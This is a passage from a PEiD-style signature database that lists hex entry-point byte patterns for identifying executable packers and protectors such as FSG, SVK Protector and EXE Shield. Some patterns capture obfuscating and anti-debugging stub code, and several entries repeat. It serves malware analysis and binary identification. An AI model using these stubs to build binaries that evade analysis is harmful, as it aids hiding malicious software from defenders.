C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 20 50 65 58 20 28 63 29 20 62 79 20 62 61 72 74 5E 43 72 61 63 6B 50 6C 20 62 65 74 61 20 72 65 6C 65 61 73 65 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0D 0A C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 C4 0D 0A 60 E8 01 00 00 -ep_only = true - -[Special EXE Pasword Protector v1.01 (Eng) -> Pavol Cerven] -signature = 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 00 00 8D 95 C6 77 00 00 8D 8D FF 77 00 00 55 68 00 20 00 00 51 52 6A 00 FF 95 04 7A 00 00 5D 6A 00 FF 95 FC 79 00 00 8D 8D 60 78 00 00 8D 95 85 01 00 00 55 68 00 04 00 00 52 6A 00 51 50 FF 95 08 7A 00 00 5D 8D B5 3F 78 00 00 6A 00 6A 00 6A 00 56 FF 95 0C 7A 00 00 0B C0 0F 84 FE 00 00 00 56 FF 95 10 7A 00 00 56 FF 95 14 7A 00 00 80 BD 3E 78 00 00 00 74 D4 33 D2 8B BD 3E 77 00 00 8D 85 1D 02 00 00 89 85 42 77 00 00 8D 85 49 02 00 00 89 85 46 77 00 00 8D 85 EB 75 00 00 89 85 4A 77 00 00 8B 84 D5 24 76 00 00 03 F8 8B 8C D5 28 76 00 00 3B 85 36 77 00 00 60 74 1F 8D B5 BD 02 00 00 FF D6 85 D2 75 11 60 87 FE 8D BD 15 78 00 00 B9 08 00 00 00 F3 A5 61 EB 15 8D 85 9F 02 00 -ep_only = true - -[SVK Protector v1.32 (Eng) -> Pavol Cerven] -signature = 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61 00 00 44 65 62 75 67 67 65 72 20 6F 72 20 74 6F 6F 6C 20 66 6F 72 20 6D 6F 6E 69 74 6F 72 69 6E 67 20 64 65 74 65 63 74 65 64 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 -ep_only = true - -[SVK Protector v1.3x (Eng) -> Pavol Cerven] -signature = 60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 ?? ?? 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61 00 00 44 65 62 75 67 67 65 72 20 6F 72 20 74 6F 6F 6C 20 66 6F 72 20 6D 6F 6E 69 74 6F 72 69 6E 67 20 64 65 74 65 63 74 65 64 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 -ep_only = true - -[Video-Lan-Client -> (UnknownCompiler)] -signature = 55 89 E5 83 EC 08 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] -signature = 03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 AB EB 02 CD 20 5E 80 CB AA 2B F1 EB 02 CD 20 43 0F BE 38 13 D6 80 C3 47 2B FE EB 01 F4 03 FE EB 02 4F 4E 81 EF 93 53 7C 3C 80 C3 29 81 F7 8A 8F 67 8B 80 C3 C7 2B FE EB 02 CD 20 57 EB 02 CD 20 5A 88 10 EB 02 CD 20 40 E8 02 00 00 00 C5 62 5A 4E E8 01 00 00 00 43 5A 2B DB 3B F3 75 B1 C1 F3 0D 92 B8 DC 0C 4E 0D B7 F7 0A 39 F4 B5 ?? ?? 36 FF 45 D9 FA FB FE FD FE CD 6B FE 82 0D 28 F3 B6 A6 A0 71 1F BA 92 9C EE DA FE 0D 47 DB 09 AE DF E3 F6 50 E4 12 9E C8 EC FB 4D EA 77 C9 03 75 E0 D2 D6 E5 E2 8B 41 B6 41 FA 70 B0 A0 AB F9 B5 C0 BF ED 78 25 CB 96 E5 A8 A7 AA A0 DC 5F 73 9D 14 F0 B5 6A 87 B7 3B E5 6D 77 B2 45 8C B9 96 95 A0 DC A2 1E 9C 9B 11 93 08 83 9B F8 9E 0A 8E 10 F7 85 -ep_only = true - -[FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] -signature = C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3 EB 02 42 C0 EB 01 08 88 16 80 F1 98 80 C9 28 46 91 EB 02 C0 55 4B EB 01 55 34 44 0B DB 75 AD E8 01 00 00 00 9D 59 0B C6 EB 01 6C E9 D2 C3 82 C2 03 C2 B2 82 C2 00 ?? ?? 7C C2 6F DA BC C2 C2 C2 CC 1C 3D CF 4C D8 84 D0 0C FD F0 42 77 0D 66 F1 AC C1 DE CE 97 BA D7 EB C3 AE DE 91 AA D5 02 0D 1E EE 3F 23 77 C4 01 72 12 C1 0E 1E 14 82 37 AB 39 01 88 C9 DE CA 07 C2 C2 C2 17 79 49 B2 DA 0A C2 C2 C2 A9 EA 6E 91 AA 2E 03 CF 7B 9F CE 51 FA 6D A2 AA 56 8A E4 C2 C2 C2 07 C2 47 C2 C2 17 B8 42 C6 8D 31 88 45 BA 3D 2B BC -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)] -signature = 03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B F2 81 F6 EE 00 00 00 EB 02 CD 20 8A 0B E8 02 00 00 00 A9 54 5E C1 EE 07 F7 D7 EB 01 DE 81 E9 B7 96 A0 C4 EB 01 6B EB 02 CD 20 80 E9 4B C1 CF 08 EB 01 71 80 E9 1C EB 02 F0 49 C1 F6 09 88 0B F7 DE 0F B6 F2 43 EB 02 CD 20 C1 E7 0A 48 EB 01 89 C1 E7 14 2B FF 3B C7 75 A8 E8 01 00 00 00 81 5F F7 D7 D9 EE 1F 5E 1E DD 1E 2E 5E 1E DC ?? ?? 5E 1E 71 06 28 1E 1E 1E 20 F0 93 23 A8 34 64 30 F0 E1 D0 9E 51 F9 C2 D1 20 1D 32 42 91 16 51 E7 1D 32 42 91 36 51 DE 1D 32 42 91 3F D1 20 5F CE 2E 1D 32 42 30 DE 91 17 93 5D C8 09 FA 06 61 1E 1E 1E 49 E9 93 2E 06 56 1E 1E 1E 09 46 CA EF 06 92 5F 31 E7 09 3A AF 66 DF FE 26 CA 06 40 1E 1E 1E 5B 1E 9B 1E 1E 91 28 9E 1A 23 91 24 A1 16 9D 95 20 -ep_only = true - -[FSG v1.20 (Eng) -> dulek/xt -> (MASM32 / TASM32)] -signature = 33 C2 2C FB 8D 3D 7E 45 B4 80 E8 02 00 00 00 8A 45 58 68 02 ?? 8C 7F EB 02 CD 20 5E 80 C9 16 03 F7 EB 02 40 B0 68 F4 00 00 00 80 F1 2C 5B C1 E9 05 0F B6 C9 8A 16 0F B6 C9 0F BF C7 2A D3 E8 02 00 00 00 99 4C 58 80 EA 53 C1 C9 16 2A D3 E8 02 00 00 00 9D CE 58 80 EA 33 C1 E1 12 32 D3 48 80 C2 26 EB 02 CD 20 88 16 F7 D8 46 EB 01 C0 4B 40 8D 0D 00 00 00 00 3B D9 75 B7 EB 01 14 EB 01 0A CF C5 93 53 90 DA 96 67 54 8D CC ?? ?? 51 8E 18 74 53 82 83 80 47 B4 D2 41 FB 64 31 6A AF 7D 89 BC 0A 91 D7 83 37 39 43 50 A2 32 DC 81 32 3A 4B 97 3D D9 63 1F 55 42 F0 45 32 60 9A 28 51 61 4B 38 4B 12 E4 49 C4 99 09 47 F9 42 8C 48 51 4E 70 CF B8 12 2B 78 09 06 07 17 55 D6 EA 10 8D 3F 28 E5 02 0E A2 58 B8 D6 0F A8 E5 10 EB E8 F1 23 EF 61 E5 E2 54 EA A9 2A 22 AF 17 A1 23 97 9A 1C -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] -signature = 0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? 00 EB 02 CD 20 03 D3 8D 35 F4 00 00 00 EB 01 35 EB 01 88 80 CA 7C 80 F3 74 8B 38 EB 02 AC BA 03 DB E8 01 00 00 00 A5 5B C1 C2 0B 81 C7 DA 10 0A 4E EB 01 08 2B D1 83 EF 14 EB 02 CD 20 33 D3 83 EF 27 EB 02 82 53 EB 02 CD 20 87 FA 88 10 80 F3 CA EB 02 CD 20 40 03 D7 0B D0 4E 1B D2 EB 02 CD 20 2B D2 3B F2 75 AC F7 DA 80 C3 AF 91 1C 31 62 A1 61 20 61 71 A1 61 1F ?? ?? ?? 61 B4 49 6B 61 61 61 63 33 D6 66 EB 77 A7 73 33 24 13 E1 94 3C 05 14 63 60 75 85 D4 59 94 2A 60 75 85 D4 79 94 21 60 75 85 D4 82 14 63 A2 11 71 60 75 85 73 21 D4 5A D6 A0 0B 4C 3D 49 A4 61 61 61 8C 2C D6 71 49 99 61 61 61 4C 89 0D 32 49 D5 A2 74 2A 4C 7D F2 A9 22 41 69 0D 49 83 61 61 61 9E 61 DE 61 61 D4 6B E1 5D 66 D4 67 E4 59 E0 D8 63 -ep_only = true - -[FSG v1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] -signature = EB 02 CD 20 EB 01 91 8D 35 80 ?? ?? 00 33 C2 68 83 93 7E 7D 0C A4 5B 23 C3 68 77 93 7E 7D EB 01 FA 5F E8 02 00 00 00 F7 FB 58 33 DF EB 01 3F E8 02 00 00 00 11 88 58 0F B6 16 EB 02 CD 20 EB 02 86 2F 2A D3 EB 02 CD 20 80 EA 2F EB 01 52 32 D3 80 E9 CD 80 EA 73 8B CF 81 C2 96 44 EB 04 EB 02 CD 20 88 16 E8 02 00 00 00 44 A2 59 46 E8 01 00 00 00 AD 59 4B 80 C1 13 83 FB 00 75 B2 F7 D9 96 8F 80 4D 0C 4C 91 50 1C 0C 50 8A ?? ?? ?? 50 E9 34 16 50 4C 4C 0E 7E 9B 49 C6 32 02 3E 7E 7B 5E 8C C5 6B 50 3F 0E 0F 38 C8 95 18 D1 65 11 2C B8 87 28 C3 4C 0B 3C AC D9 2D 15 4E 8F 1C 40 4F 28 98 3E 10 C1 45 DB 8F 06 3F EC 48 61 4C 50 50 81 DF C3 20 34 84 10 10 0C 1F 68 DC FF 24 8C 4D 29 F5 1D 2C BF 74 CF F0 24 C0 08 2E 0C 0C 10 51 0C 91 10 10 81 16 D0 54 4B D7 42 C3 54 CB C9 4E -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] -signature = F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? A7 BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] -signature = F7 D8 40 49 EB 02 E0 0A 8D 35 80 ?? ?? ?? 0F B6 C2 EB 01 9C 8D 1D F4 00 00 00 EB 01 3C 80 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] -signature = 87 FE E8 02 00 00 00 98 CC 5F BB 80 ?? ?? 00 EB 02 CD 20 68 F4 00 00 00 E8 01 00 00 00 E3 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)] -signature = 1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13 D6 83 C7 32 F7 DA 03 FE EB 02 CD 20 87 FA 88 10 EB 02 CD 20 40 E8 02 00 00 00 F1 F8 5B 4E 2B D2 85 F6 75 AF EB 02 DE 09 EB 01 EF 34 4A 7C BC 7D 3D 7F 90 C1 82 41 ?? ?? ?? 87 DB 71 94 8B 8C 8D 90 61 05 96 1C A9 DA A7 68 5A 4A 19 CD 76 40 50 A0 9E B4 C5 15 9B D7 6E A5 BB CC 1C C2 DE 6C AC C2 D3 23 D2 65 B5 F5 65 C6 B6 CC DD CC 7B 2F B6 33 FE 6A AC 9E AB 07 C5 C6 C7 F3 94 3F DB B4 05 CE CF D0 BC FA 7F A5 BD 4A 18 EB A2 C5 F7 6D 25 9F BF E8 8D CA 05 E4 E5 E6 24 E8 66 EA EB 5F F7 6E EB F5 64 F8 76 EC 74 6D F9 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)] -signature = C1 C8 10 EB 01 0F BF 03 74 66 77 C1 E9 1D 68 83 ?? ?? 77 EB 02 CD 20 5E EB 02 CD 20 2B F7 -ep_only = true - -[FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)] -signature = 0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01 F7 2B FE EB 01 7F 81 EF DF 30 90 1E EB 02 CD 20 87 FA 88 10 80 EA 03 40 EB 01 20 4E EB 01 3D 83 FE 00 75 A2 EB 02 CD 20 EB 01 C3 78 73 42 F7 35 6C 2D 3F ED 33 97 ?? ?? ?? 5D F0 45 29 55 57 55 71 63 02 72 E9 1F 2D 67 B1 C0 91 FD 10 58 A3 90 71 6C 83 11 E0 5D 20 AE 5C 71 83 D0 7B 10 97 54 17 11 C0 0E 00 33 76 85 33 3C 33 21 31 F5 50 CE 56 6C 89 C8 F7 CD 70 D5 E3 DD 08 E8 4E 25 FF 0D F3 ED EF C8 0B 89 A6 CD 77 42 F0 A6 C8 19 66 3D B2 CD E7 89 CB 13 D7 D5 E3 1E DF 5A E3 D5 50 DF B3 39 32 C0 2D B0 3F B4 B4 43 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++)] -signature = 23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB F4 00 00 00 EB 02 04 FA EB 01 FA EB 01 5F EB 02 CD 20 8A 16 EB 02 11 31 80 E9 31 EB 02 30 11 C1 E9 11 80 EA 04 EB 02 F0 EA 33 CB 81 EA AB AB 19 08 04 D5 03 C2 80 EA 33 0F B6 C9 0F BE 0E 88 16 EB 01 5F EB 01 6B 46 EB 01 6D 0F BE C0 4B EB 02 CD 20 0F BE C9 2B C9 3B D9 75 B0 EB 01 99 C1 C1 05 91 9D B2 E3 22 E2 A1 E2 F2 22 E2 A0 ?? ?? ?? E2 35 CA EC E2 E2 E2 E4 B4 57 E7 6C F8 28 F4 B4 A5 94 62 15 BD 86 95 E4 E1 F6 06 55 DA 15 AB E1 F6 06 55 FA 15 A2 E1 F6 06 55 03 95 E4 23 92 F2 E1 F6 06 F4 A2 55 DB 57 21 8C CD BE CA 25 E2 E2 E2 0D AD 57 F2 CA 1A E2 E2 E2 CD 0A 8E B3 CA 56 23 F5 AB CD FE 73 2A A3 C2 EA 8E CA 04 E2 E2 E2 1F E2 5F E2 E2 55 EC 62 DE E7 55 E8 65 DA 61 59 E4 -ep_only = true - -[FSG v1.20 (Eng) -> dulek/xt -> (Borland C++)] -signature = C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6 EB 02 56 7B 2A D3 E8 01 00 00 00 ED 58 88 16 13 C3 46 EB 02 CD 20 4B EB 02 CD 20 2B C9 3B D9 75 A1 E8 02 00 00 00 D7 6B 58 EB 00 9E 96 6A 28 67 AB 69 54 03 3E 7F ?? ?? ?? 31 0D 63 44 35 38 37 18 87 9F 10 8C 37 C6 41 80 4C 5E 8B DB 60 4C 3A 28 08 30 BF 93 05 D1 58 13 2D B8 86 AE C8 58 16 A6 95 C5 94 03 33 6F FF 92 20 98 87 9C E5 B9 20 B5 68 DE 16 4A 15 C1 7F 72 71 65 3E A9 85 20 AF 5A 59 54 26 66 E9 3F 27 DE 8E 7D 34 53 61 F7 AF 09 29 5C F7 36 83 60 5F 52 92 5C D0 56 55 C9 61 7A FD EF 7E E8 70 F8 6E 7B EF -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)] -signature = 2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80 EA 0F E8 01 00 00 00 64 59 02 D3 EB 02 D6 5C 88 16 EB 02 CD 20 46 E8 02 00 00 00 6B B5 59 4B 0F B7 C6 0B DB 75 B1 EB 02 50 AA 91 44 5C 90 D2 95 57 9B AE E1 A4 65 ?? ?? ?? B3 09 A1 C6 BF C2 C5 CA 9D 43 D6 5E ED 20 EF B2 A6 98 69 1F CA 96 A8 FA FA 12 25 77 FF 3D D6 0F 27 3A 8C 34 52 E2 24 3C 4F A1 52 E7 39 7B ED 50 42 5A 6D 5E 0F C5 4E CD 9A 08 4C 40 4F AD 6D 70 73 A1 44 F1 8F 6A BD 88 8B 8E 7C BC 43 6B 85 14 E4 B9 72 97 CB 43 FD 79 9B C6 6D AC E9 CA CD D0 10 D6 56 DC DF 55 EF 68 E7 F3 64 FA 7A F2 7C 77 05 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)] -signature = EB 01 2E EB 02 A5 55 BB 80 ?? ?? 00 87 FE 8D 05 AA CE E0 63 EB 01 75 BA 5E CE E0 63 EB 02 -ep_only = true - -[FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)] -signature = 0F BE C1 EB 01 0E 8D 35 C3 BE B6 22 F7 D1 68 43 ?? ?? 22 EB 02 B5 15 5F C1 F1 15 33 F7 80 E9 F9 BB F4 00 00 00 EB 02 8F D0 EB 02 08 AD 8A 16 2B C7 1B C7 80 C2 7A 41 80 EA 10 EB 01 3C 81 EA CF AE F1 AA EB 01 EC 81 EA BB C6 AB EE 2C E3 32 D3 0B CB 81 EA AB EE 90 14 2C 77 2A D3 EB 01 87 2A D3 E8 01 00 00 00 92 59 88 16 EB 02 52 08 46 EB 02 CD 20 4B 80 F1 C2 85 DB 75 AE C1 E0 04 EB 00 DA B2 82 5C 9B C7 89 98 4F 8A F7 ?? ?? ?? B1 4D DF B8 AD AC AB D4 07 27 D4 50 CF 9A D5 1C EC F2 27 77 18 40 4E A4 A8 B4 CB 9F 1D D9 EC 1F AD BC 82 AA C0 4C 0A A2 15 45 18 8F BB 07 93 BE C0 BC A3 B0 9D 51 D4 F1 08 22 62 96 6D 09 73 7E 71 A5 3A E5 7D 94 A3 96 99 98 72 B2 31 57 7B FA AE 9D 28 4F 99 EF A3 25 49 60 03 42 8B 54 53 5E 92 50 D4 52 4D C1 55 76 FD F7 8A FC 78 0C 82 87 0F -ep_only = true - -[DEF v1.00 (Eng) -> bart/xt] -signature = BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 -ep_only = true - -[EXE Shield v0.1b - v0.3b, v0.3 -> SMoKE] -signature = E8 04 00 00 00 83 60 EB 0C 5D EB 05 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++ / ASM)] -signature = EB 02 CD 20 EB 02 CD 20 EB 02 CD 20 C1 E6 18 BB 80 ?? ?? 00 EB 02 82 B8 EB 01 10 8D 05 F4 -ep_only = true - -[FSG v1.10 (Eng) -> bart/xt -> WinRAR-SFX] -signature = EB 01 02 EB 02 CD 20 B8 80 ?? 42 00 EB 01 55 BE F4 00 00 00 13 DF 13 D8 0F B6 38 D1 F3 F7 -ep_only = true - -[FSG v1.10 (Eng) -> bart/xt -> WinRAR-SFX] -signature = 80 E9 A1 C1 C1 13 68 E4 16 75 46 C1 C1 05 5E EB 01 9D 68 64 86 37 46 EB 02 8C E0 5F F7 D0 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0 / ASM)] -signature = E8 01 00 00 00 5A 5E E8 02 00 00 00 BA DD 5E 03 F2 EB 01 64 BB 80 ?? ?? 00 8B FA EB 01 A8 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / ASM)] -signature = F7 D0 EB 02 CD 20 BE BB 74 1C FB EB 02 CD 20 BF 3B ?? ?? FB C1 C1 03 33 F7 EB 02 CD 20 68 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic / MASM32)] -signature = EB 02 09 94 0F B7 FF 68 80 ?? ?? 00 81 F6 8E 00 00 00 5B EB 02 11 C2 8D 05 F4 00 00 00 47 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual Basic 5.0 / 6.0)] -signature = C1 CB 10 EB 01 0F B9 03 74 F6 EE 0F B6 D3 8D 05 83 ?? ?? EF 80 F3 F6 2B C1 EB 01 DE 68 77 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] -signature = EB 02 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] -signature = E8 01 00 00 00 0E 59 E8 01 00 00 00 58 58 BE 80 ?? ?? 00 EB 02 61 E9 68 F4 00 00 00 C1 C8 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] -signature = F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? ?? BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] -signature = D1 E9 03 C0 68 80 ?? ?? 00 EB 02 CD 20 5E 40 BB F4 00 00 00 33 CA 2B C7 0F B6 16 EB 01 3E -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] -signature = EB 02 AB 35 EB 02 B5 C6 8D 05 80 ?? ?? 00 C1 C2 11 BE F4 00 00 00 F7 DB F7 DB 0F BE 38 E8 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)] -signature = 03 DE EB 01 F8 B8 80 ?? 42 00 EB 02 CD 20 68 17 A0 B3 AB EB 01 E8 59 0F B6 DB 68 0B A1 B3 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)] -signature = 03 F7 23 FE 33 FB EB 02 CD 20 BB 80 ?? 40 00 EB 01 86 EB 01 90 B8 F4 00 00 00 83 EE 05 2B -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32 / Microsoft Visual Basic)] -signature = F7 D8 0F BE C2 BE 80 ?? ?? 00 0F BE C9 BF 08 3B 65 07 EB 02 D8 29 BB EC C5 9A F8 EB 01 94 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] -signature = F7 DB 80 EA BF B9 2F 40 67 BA EB 01 01 68 AF ?? A7 BA 80 EA 9D 58 C1 C2 09 2B C1 8B D7 68 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 4.x / LCC Win32 1.x)] -signature = 2C 71 1B CA EB 01 2A EB 01 65 8D 35 80 ?? ?? 00 80 C9 84 80 C9 68 BB F4 00 00 00 EB 01 EB -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)] -signature = EB 01 2E EB 02 A5 55 BB 80 ?? ?? 00 87 FE 8D 05 AA CE E0 63 EB 01 75 BA 5E CE E0 63 EB 02 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Borland C++)] -signature = 23 CA EB 02 5A 0D E8 02 00 00 00 6A 35 58 C1 C9 10 BE 80 ?? ?? 00 0F B6 C9 EB 02 CD 20 BB -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] -signature = 87 FE E8 02 00 00 00 98 CC 5F BB 80 ?? ?? 00 EB 02 CD 20 68 F4 00 00 00 E8 01 00 00 00 E3 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] -signature = F7 D8 40 49 EB 02 E0 0A 8D 35 80 ?? ?? ?? 0F B6 C2 EB 01 9C 8D 1D F4 00 00 00 EB 01 3C 80 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] -signature = 0B D0 8B DA E8 02 00 00 00 40 A0 5A EB 01 9D B8 80 ?? ?? ?? EB 02 CD 20 03 D3 8D 35 F4 00 -ep_only = true - -[FSG v1.10 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0 / 7.0)] -signature = 87 FE ?? 02 ?? ?? ?? ?? 